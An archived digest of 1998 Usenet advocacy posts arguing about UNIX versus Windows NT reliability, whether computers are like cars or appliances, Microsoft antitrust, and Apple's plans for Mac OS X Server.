-> <jcr.remove@this.phrase.idiom.com> wrote:
-> >For that matter, care to guess how often MVS systems have an unscheduled
-> >restart?
->
-> Mainframe folks like to brag about nines. A "five-nines" system is up
-> 99.999% of the time.
->
-> I worked with a group that could document five-nines availability for
-> a period of seven years on a system that had over 20,000 users in
-> fifteen states and three foreign countries. They considered this a
-> moderate accomplishment.
Exactly. We in the computer business often forget that reliability is not an
impossible dream, and that many computer systems have, in fact, achieved it
over the years.
Basically, MicroSquish game loaders suck *so* hard, that most people don't
even realize that UNIX sucks.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: mteh@earthlink.net (Oliver M. Sun)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Thu, 17 Sep 1998 23:59:02 -0500
Organization: EarthLink Network, Inc.
Message-ID: <mteh-ya02408000R1709982359020001@news.earthlink.net>
References: <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au> <35FBAA84.F5B8CE84@inficad.com> <6th4k8$2o$1@bunyip.cc.uq.edu.au> <35fd738b.2127351@news.supernews.com> <mteh-ya02408000R1309982156530001@news.earthlink.net> <35fda148.4397068@news.supernews.com> <mteh-ya02408000R1409981924070001@news.earthlink.net> <360533c8.27512398@news.supernews.com>
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In article <360533c8.27512398@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
>You seem to make my point. All of these things are immensely
>complex. That many of them are based on simple rules of physics
>which we learned before we were three (things like "accelerate" and
>"smoke" and "pedal") illustrates the fact that cars are not
>computers. With a computer, it requires additional learning outside
>normal reality (that is, learning specifically how computers work)
>in order to use one. The basic premise you are supporting is that
>computers should be (or are) as "simple" as cars. That you "just
>get in and drive; you don't have to be a mechanic". But with a
>computer, you can't even necessarily tell if the damn thing is
>moving, let alone whether you're headed forward or back, or if the
>headlights are on, or who's sitting where.
That's why graphical user interfaces were invented -- because most
people have some idea of what sorts of things go on around desktops, how
roll-down windowshades behave, or what you do when you toss things in the
trash. The mouse was invented to provide a translation for the simple
concept of pointing to objects in the real world. Your steering wheel is
an interface as well, which translates the ideas of "left" and "right" to
the motion of your car.
>The basic premise is flawed. I have refuted it in two different
>ways, and continue to do so. First, as I've already described,
>simply driving a car is the equivalent of being a "computer expert"
>to at least some extent. Being an auto mechanic would be someone
>who writes their own applications or hardware drivers. A typical
>person has to know how to use a computer because it is not (and can
>never be, because the rules are free to change, and constantly do,
>unlike the physical act of driving a car) as "intuitive" as a
>physical action. It may very well approach that, as an analogous
>intellectual complexity of procedures, after years of learning and
>practice. But that makes you a computer expert.
You haven't really "refuted" anything, just outlined the equivalent
roles in your mind with computers and cars -- software programmers and auto
mechanics seem similar to you. However, you haven't really explained why
it isn't just as valid to describe an "automotive design engineer" as the
counterpart to a hardware or software engineer.
The typical car owner, as you have stated, knows how to operate the user
interface for a car -- driving the car, and performing simple maintenance
through provided utilities such as the oil dipstick, assorted status lights
and gauges, etc. An auto mechanic might be the equivalent to a
pay-by-the-hour tech support guy who can diagnose problems and replace
broken parts. I don't think the typical mechanic could design a new
camshaft for your car, so why would the software engineer (who designs and
manufactures completely new components for your computer system) be the
same as a mechanic.
An "expert" driver would be someone who operates the car with a greater
level of skill than the average driver. Calling someone a "car expert"
seems to imply a greater amount of technical knowledge, just as a "computer
expert" implies -- guess what -- similar expertise.
>But the alternate view is that computers are "appliances", rather
>than cars. This view is equally as flawed. A computer is not a
>car. A computer is not an appliance. A computer is a computer.
A toaster is not an appliance? A toaster is a toaster?
What's your definition for an "appliance"?
Merriam-Webster's Collegiate Dictionary/Thesaurus
ap€pli€ance \e-"pl-en(t)s\ noun (1561)
1 : an act of applying
2 a : a piece of equipment for adapting a tool or machine to a special
purpose : attachment
b : an instrument or device designed for a particular use; specif : a
household or office device (as a stove, fan, or refrigerator) operated by
gas or electric current
c Brit : fire engine
3 obs : compliance syn see implement
appliance noun
syn USE 1, application, employment, operation, play, usance
>
>It's not a VCR; it will never be a VCR. Now, you may some day have
>an "appliance" that does word processing (low and behold, we have
>those), or an appliance that provides communications (one of those
>two; they're called phones). We may someday develop an appliance
>that provides information and entertainment channels (got it), or
>devices/systems for containing information (yep). Someday, we may
>have an appliance for automatically scheduling appointments over the
>Internet (and feasibly, truly easily, which doesn't mean truly
>automagically, and practically; not as a wizz-bang feature that
>never lives up to a vague promise). This will not be a
>technologically achievement. The technology exists now. So why
>don't we have it? Why isn't it "cost effective" to build it?
[snip lots]
>>So, essentially, computers are similar in concept to many other complex tools.
>
>There are no other complex tools like computers. All other tools
>are less complex, because they are physical tools. The computer is
>a processing engine; a mental tool. You have to know how to use
>your mental, and that means understanding, and that means knowing
>how the computer works, or you can't use the computer. Calling a
>computer a tool is like calling a planet a blob of dirt.
That's the dumbest thing I've ever heard. What is a computer then, your
friend or your mother?
All other tools are less complex? What about, say, symbolic logic?
Maybe a violin? I think you're making a pretty large judgement call here.
>Please forgive me for saying so, but I do know. I have
>professionally studied how people learn and use computers for over a
>decade. I am a professional *teacher* (though most call it
>"training", which is why most experiences are of only marginal
>value) of computers. Now it may sound like I'm just trying to drum
>up business, but the fact is that a teacher's job is to work
>themselves out of a job, so I believe I am being properly skeptical
>about my position. I recognize that computers have become much
>easier to learn through many modern advancements, and certainly
>easier to use once you've learned them. But you would have had to
>know a lot less (three or four sets of ten characters, maybe, and
>when to type them) to check your email 15 years ago, if you had
>email.
Glad you're being skeptical (a good thing). But in this case, I think
you're blowing the problem out of proportion. I see that the intended
purpose of a "computer device" doesn't seem as clear as that of a VCR or a
washing machine. But if you take a different approach: an "information
appliance" is something which you use to access, process, and store
information in general, then a computer is just a particularly advanced
version. It isn't as if you are born knowing how to use an espresso
machine properly, and it's more complicated than a moka pot, but it fits
the same general category of use.
>So the problem, I guess, is that most people THINK they know how to
>drive. Actually, they're just getting in a taxi.
Not sure I follow. Are you meaning that a modern computer UI is like a
car which attempts to drive (badly) _for_ the owner?
>
>Computers are not cars. In now sense do they serve similar
>purposes, in no sense do we treat them in similar ways. I'm sorry
>for seeming absolutist, and maybe I should take a gentler task and
>simply ask how you think this is so. But you're probably about the
>fiftieth guy I've seen say this and not a one of them has ever
>explained the statement past defending it as self-evident.
>
>Please, could you give some examples?
I'm trying. Read above.
>
>>>Now, you say you "know how to plug in your Mac and check email".
>>>Are you honestly saying that this is all you know about computers?
>>>You don't know how to load a new program? You don't know how to
>>>disable an extension that is crashing your Mac? You don't know how
>>>to search for files? You don't know how to put an icon on your
>>>desktop? You don't know how to empty your trash can?
>>
>>Yup, just because I know how to plug in my Mac, I forgot how to do all
>>those other things.
>
>I don't understand your response.
It was meant facetiously in response to your questions.
>
>Are you saying you don't know how to do any of those things?
>
>Then you're sitting on a train, you're not even on a bus, let alone
>in a taxi. You couldn't get out of the garage if the slightest
>thing goes wrong (like a window doesn't appear, you want to change a
>setting, or you need to save a file). You must have someone doing
>it for you.
Don't be silly. I've programmed software, maintained my Mac, driven my
car and done mechanical work on it as well, used e-mail, and various other
rather common things on both cars and computers. That's why I feel I have
a good perspective on these two things.
From: "Steven M. Scharf" <scharf@grin.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Thu, 17 Sep 1998 22:23:17 -0700
Organization: newsread.com ISP News Reading Service
Message-ID: <6tsqqg$ihh@netaxs.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <don.brown-1709982154480001@dsm-ia2-05.ix.netcom.com>
http://www.jacksonville.com/tu-online/stories/041998/opi_Sunedit1.html
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 18 Sep 1998 05:28:27 GMT
Organization: MiscKit Development
Message-ID: <6tsr1r$18r$7@news.xmission.com>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com> <36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com> <3601563D.7C573777@ericsson.com> <6ts1u0$18r$5@news.xmission.com> <6ts5ls$r8h$1@ash.prod.itd.earthlink.net> <6ts98d$18r$6@news.xmission.com> <3601E658.2B2691BE@nstar.net>
NNTP-Posting-Date: 18 Sep 1998 05:28:27 GMT
Michael Peck <mjpeck@nstar.net> wrote:
> Don Yacktman wrote:
>
> > > Why do *you* think they are not communicating?
> >
> > What difference does what I think make?
>
> Then why post anything?
Good question. Guess I shouldn't have. I sort of agonized over whether or
not to say anything. The main thing is that Apple's not communicating about
Mac OS X and its advantages _is_ a problem. It doesn't matter to me _why_
they aren't communicating; no matter what the reason is, I'd like to see the
problem fixed.
That's of course still a dodge. I can't answer the question straight because
I know why Apple isn't communicating and "if I told you I'd have to kill
you". They have logical reasons, but I happen to disagree with some of the
assumptions that those reasons are based upon and the policies that grow from
that. That disagreement is probably rooted in the fact that at times I tend
to be an idealistic optimist, a fatal flaw but one which I do not intend to
"rectify".
All of which means that my opinion doesn't mean squat to Apple and I can't
change anything there whether I want to or not. So I'll point out a problem
and say it should be fixed, but that's the best I can do.
To sum up:
What difference does what I think make?
Maybe I _should_ quit posting. I'm not adding any signal to the noise in
this group at this point. :-/
> This is a *friendly* discussion. Everybody open
> up. Now, tell us your name and give us a brief history of your
> childhood.
You know my name. My childhood was fun, but crowded. (I'm the oldest of
seven kids.)
> :-)
>
> Just kidding.
Aw, c'mon. I have nothing to hide. I've lead a charmed life. :-)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don/index.html">My home page</a>
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch>
Subject: Re: Monopolies
Message-ID: <HOrM1.151$nh1.224119@newsfeed.slurp.net>
Date: Fri, 18 Sep 1998 04:33:05 +0100
NNTP-Posting-Date: Fri, 18 Sep 1998 06:51:03 CDT
Organization: Slurp News Feeds
Jerry M. wrote in message ...
>> A quick remider to you all...
>> It is _not_ illegal to have a monopoly.
>
>No, but it should be.
>
>In fact, just Microsoft should be illegal.
Communist! ;-)
Dan
####################################################################
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <3601AA3C.CB1DB927@nstar.net>
Subject: Re: Monopolies
Message-ID: <IOrM1.152$nh1.224119@newsfeed.slurp.net>
Date: Fri, 18 Sep 1998 04:39:37 +0100
NNTP-Posting-Date: Fri, 18 Sep 1998 06:51:04 CDT
Organization: Slurp News Feeds
Michael J. Peck wrote in message <3601AA3C.CB1DB927@nstar.net>...
>Mmmmm, the Constitution versus the antitrust laws. I like that matchup.
Anti-Trust is what losers do to winners.
Interestingly... the small companies are not taking Microsoft to court, two
"large" companies are... Netscape, and Sun Microsystems.
Dan
heck my mail, etc., but after a while... it saves time (added
up).
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <6trboh$u$1@birch.prod.itd.earthlink.net> <stevehix-1709981049210001@192.168.1.10>
Subject: Re: What we need from Mac OSuX
Message-ID: <TOrM1.156$nh1.224119@newsfeed.slurp.net>
Date: Fri, 18 Sep 1998 04:47:12 +0100
NNTP-Posting-Date: Fri, 18 Sep 1998 06:51:15 CDT
Organization: Slurp News Feeds
Steve Hix wrote in message ...
>Microsoft also make hardware.
Keyboard, Mouse, and Joystick... maybe a few other hand held, similar,
devices.
I'm waiting for MS to make a Windows CE powered PC BIOS... that would be
cool :-)
American Mega Trends could manufacture it... MS could design the software.
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <5UuI1.1221$2s.1206519@newsfeed.slurp.net> <6tqp30$its$1@nnrp1.dejanews.com>
Subject: Re: What we need from Mac OSuX
Message-ID: <XOrM1.157$nh1.224119@newsfeed.slurp.net>
Date: Fri, 18 Sep 1998 04:49:59 +0100
NNTP-Posting-Date: Fri, 18 Sep 1998 06:51:19 CDT
Organization: Slurp News Feeds
OWSCR@hotmail.com wrote in message <6tqp30$its$1@nnrp1.dejanews.com>...
>I have never yet seen a Unix system (linux irix solaris nextstep) crash.
I sure have... (talking about Linux... not enough experiance with SGI, Sun,
or NeXT)
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <5UuI1.1221$2s.1206519@newsfeed.slurp.net> <6tqp30$its$1@nnrp1.dejanews.com> <6tqssi$g67$2@news.idiom.com> <6tsn9q$6c3@news1.panix.com> <6tsouj$ghr$1@news.idiom.com>
Subject: Re: What we need from Mac OSuX
Message-ID: <_OrM1.158$nh1.224119@newsfeed.slurp.net>
Date: Fri, 18 Sep 1998 04:53:05 +0100
NNTP-Posting-Date: Fri, 18 Sep 1998 06:51:22 CDT
Organization: Slurp News Feeds
John C. Randolph wrote in message <6tsouj$ghr$1@news.idiom.com>...
>Exactly. We in the computer business often forget that reliability is not
an
>impossible dream, and that many computer systems have, in fact, achieved it
>over the years.
>
>Basically, MicroSquish game loaders suck *so* hard, that most people don't
>even realize that UNIX sucks.
I suppose your talking about Win9x...
I've seen *lots* of NT servers with a uptime of over 6 months... often even
over a year!
Dan
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 08:44:16 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u0jij$f03$1@oak.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <6tupg9$6fb$1@plo.sierra.com> <joe.ragosta-1809981956310001@elk38.dol.net> <EvGM1.188$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980715350001@elk86.dol.net>
Joe Ragosta wrote in message ...
>In article <EvGM1.188$vp1.313907@newsfeed.slurp.net>, "Dan"
><dan@knowspaam.com> wrote:
>
>> Joe Ragosta wrote in message ...
>>
>> >I guess you start out by confusing Macintosh computer with Mac OS, the
>> >operating system.
>>
>> As the PC is often confused with Windows.
>> ...but this is way off the point.
>>
>> The Macintosh is a platform, is it not? The PC is a platform, is it not?
>
>No. The Macintosh is a trade mark for specific computers made by Apple.
>It's normally printed as "Macintosh(tm)".
>
>If you want to talk about the platform, you need to talk about "computers
>that run Mac OS" or "Mac OS compatibles" or even "Macintosh(tm)
>compatibles".
>
>>
>>
>> >Macintosh computers (known as "Macs") are made only by Apple. They're a
>> >trademark of Apple Computer. Just like Presario or ThinkPad.
>>
>> One signifigant difference is that the Presario and ThinkPad are of one
open
>> platform... they are not proprietary... i.e., their general design can be
>> copied, etc. They are of one platform.
>
>Which has nothing to do with the argument.
>
>>
>>
>> >If you're talking about a monopoly on Mac OS systems, then say so. But
>> >your insistence that "Macintosh" is different than "Presario" is wrong.
>>
>> Is it? Again... the Macintosh is a platform... The Presario is a "model"
>
>WRONG, WRONG, WRONG.
>
>"Macintosh" is a model.
No, the iMac is a model. Yes, "macintosh" was a model in the 80's, but now
macintosh means mac type computers.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sat, 19 Sep 1998 08:43:18 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u0jgo$esu$1@oak.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <macghod-1409981027520001@sdn-ar-001casbarp115.dialsprint.net> <joe.ragosta-1809981624580001@wil43.dol.net> <JuGM1.187$vp1.313907@newsfeed.slurp.net> <joe.ragosta-1909980716260001@elk86.dol.net>
Joe Ragosta wrote in message ...
>In article <JuGM1.187$vp1.313907@newsfeed.slurp.net>, "Dan"
><dan@knowspaam.com> wrote:
>
>> Joe Ragosta wrote in message ...
>>
>> >> Apple has a monopoly of the mac market, not apple has a monopoly of
the
>> >> apple market.
>> >
>> >OK. The more appropriate analogy is that Compaq has a monopoly of the
>> >Presario market and IBM has a monopoly on the ThinkPad market. It's the
>> >same thing. And it's a meaningless statement.
>> >
>> >Macintosh is a registered tradename for some computers manufactured by
>> >Apple Computer.
>>
>> No... The Presario is not a platform, and neither is the ThinkPad. The
>> Macintosh is a platform.
>
>How many times does this need to be explained to you?
>
>Go to the U.S. Trademark office and look up "Macintosh". It's the name of
>a specific line of computers manufactured by Apple computer.
You sure are stupid! Macintosh means the Macintosh Platform, Apple, UMAX,
and Motorola to name a few, running Apple MacOS or equivalent.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: "Todd Arneson" <s124@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Sat, 19 Sep 1998 08:41:44 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6u0jdq$epf$1@oak.prod.itd.earthlink.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FDF69E.23AE0964@nstar.net> <6tp05c$s80@news1.panix.com> <3600C557.433FDC20@exu.ericsson.se> <dE1M1.481$dZ.471199@newsfeed.slurp.net> <Jm-1709981356220001@macbb2212b.unil.ch> <6trbks$t5r$1@birch.prod.itd.earthlink.net> <don.brown-1709981736320001@dsm-ia3-09.ix.netcom.com> <6ts9la$3hj$1@ash.prod.itd.earthlink.net> <joe.ragosta-1809980841420001@wil89.dol.net> <6tu5m3$lik$1@ash.prod.itd.earthlink.net> <Jm-1909980959010001@macbb2212b.unil.ch>
Jerry M. wrote in message ...
>In article <6tu5m3$lik$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
><s124@[REMOVE]earthlink.net> wrote:
>
>> Joe Ragosta wrote in message ...
>> >In article <6ts9la$3hj$1@ash.prod.itd.earthlink.net>, "Todd Arneson"
>> ><s124@[REMOVE]earthlink.net> wrote:
>> >
>> >> Donald Brown wrote in message ...
>> >> >In article <6trbks$t5r$1@birch.prod.itd.earthlink.net>, "Todd
Arneson"
>> >> ><s124@[REMOVE]earthlink.net> wrote:
>> >> >
>> >> >>Jerry M. wrote in message ...
>> >> >>>In article <dE1M1.481$dZ.471199@newsfeed.slurp.net>, "Dan"
>> >> >>><dan@knowspaam.com> wrote:
>> >> >>>
>> >> >>>> A quick remider to you all...
>> >> >>>> It is _not_ illegal to have a monopoly.
>> >> >>>
>> >> >>>No, but it should be.
>> >> >>>
>> >> >>>In fact, just Microsoft should be illegal.
>> >> >>
>> >> >>My my my, you are a macsheep! Baaaa.... take away microsoft's
>> >> constitutional
>> >> >>rights.... Baaaaaaaaaaaa.....
>> >> >>
>> >> >>You should read the constitution someday.
>> >> >>
>> >> >And you should read the anti-trust laws.
>> >>
>> >>
>> >> But the "anti trust" laws are unconstitutional!!!!!!! The constitution
>> has
>> >> superiority over ANY laws. Like I said, read the constitution someday.
>> >
>> >Really? I guess I missed the part of the Constitution giving companies
the
>> >right to run roughshod over their competition and monopolize the economy
>> >of the country.
>>
>> So? If people didn't like the products, they wouldn't buy them!!!
>
>And what people will HAVE TO BUY when there will be no other alternatives?
>
>The freedom to choose what you want will be skipped. See the point?
There is plunty of compition to Microsoft. Unix, Linux, OS2, MacOS, BeOS,
heck, even DR-DOS if you wanted to.
__________
Todd
s124@[REMOVE]earthlink.net
- - - - - - - - - - -
ICQ: 14470496 | AOL IM: iMac Hater
http://home.earthlink.net/~s124/
__________
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Fri, 18 Sep 1998 09:34:47 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1809980934480001@sdn-ar-001casbarp110.dialsprint.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <6took8$poc@news1.panix.com> <6tp88s$3jv$1@birch.prod.itd.earthlink.net> <360031F5.E14EE17B@ericsson.com> <6tprgt$7ul@news1.panix.com> <6trboh$u$1@birch.prod.itd.earthlink.net> <stevehix-1709981049210001@192.168.1.10> <6ts9ml$3iv$1@ash.prod.itd.earthlink.net> <stevehix-1709981913210001@192.168.1.10>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <stevehix-1709981913210001@192.168.1.10>, stevehix@safemail.com
(Steve Hix) wrote:
> > >Current figures have been closer to 5% and rising.
> >
> >
> > More like dropping! They have been droping for years!!!!!!!
>
> During the past year, Todd, the figures have been rising.
> Sort of connected with recent increases in profit levels.
Really? q1 and q2 98 worldwide marketshare was %3.0x.
Unless you have figures to show q1 and q1 worldwide marketshare were higher...
Their is no question q3 and q4 will be HIGHER, but I would be surprised if
they EVEN reach %5.
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: _Possible_ vague date on OS X Server
Date: Fri, 18 Sep 1998 08:46:58 +0100
Organization: EarthLink Network, Inc.
Message-ID: <36020FEC.5460@earthlink.net>
References: <tapella-1709981812510001@22w2-1.dyn.pasteur.fr> <6trjsn$7an$5@msunews.cl.msu.edu> <rmcassid-1709981733580001@hephaestus.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Robert Cassidy wrote:
> Naw. MacWorld should be renamed iMacWorld, since that's what Apple wants
> it to be.
While I think the iMac is cool, and am glad Apple is finally back in the
limelight, let's see some other machines god damn it! Specifically the
high-end ones!!! While the chip is mighty fast and all, the G3's are
still only mid-range machines. Where are the really kick-ass no holds
barred machines? (SCSI 3, DVD, USB, Firewire, uncompromising 3D
graphics card, tons of RAM slots, tons of drive bays, 6 slots, 100MB
Ethernet, built-in TV tuner, etc.)
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: _Possible_ vague date on OS X Server
Date: Fri, 18 Sep 1998 08:40:44 +0100
Organization: EarthLink Network, Inc.
Message-ID: <36020E78.77F8@earthlink.net>
References: <tapella-1709981812510001@22w2-1.dyn.pasteur.fr> <6trjsn$7an$5@msunews.cl.msu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
spammers@ruin.the.internet.channelu.com wrote:
> What is bad was there was no OS X presence - really bad sign - not that
> it won't ship, but that Apple will continue in the good 'ole NeXT tradition
> of not hyping up what could be a real NT threat.
NeXT hyping? Hmmmmm... Wasn't it do to NeXT that the phrase "stealth
marketing" came about?
Steve
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 18 Sep 1998 05:57:47 GMT
Organization: Idiom Communications
Message-ID: <6tssor$ghr$4@news.idiom.com>
References: <36013C84.3B99E7E@ericsson.com> <6trgkd$bcl@shelob.afs.com>
<36014AE5.391275AA@ericsson.com> <6trjlb$18r$4@news.xmission.com>
<3601563D.7C573777@ericsson.com> <6ts1u0$18r$5@news.xmission.com>
